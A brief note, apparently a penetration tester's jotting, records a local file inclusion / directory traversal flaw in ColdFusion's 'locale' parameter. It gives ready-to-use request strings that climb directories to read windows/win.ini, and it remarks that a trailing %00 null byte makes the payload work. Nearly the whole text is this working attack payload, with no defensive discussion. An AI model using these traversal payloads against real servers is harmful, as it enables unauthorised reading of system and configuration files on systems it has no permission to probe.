LFI

cold fusion allows directory traversal through locale parametre

?locale=../../../../../../windows/win.ini ?locale=../../../../../../windows/win.ini%00en now works need to end with a null byte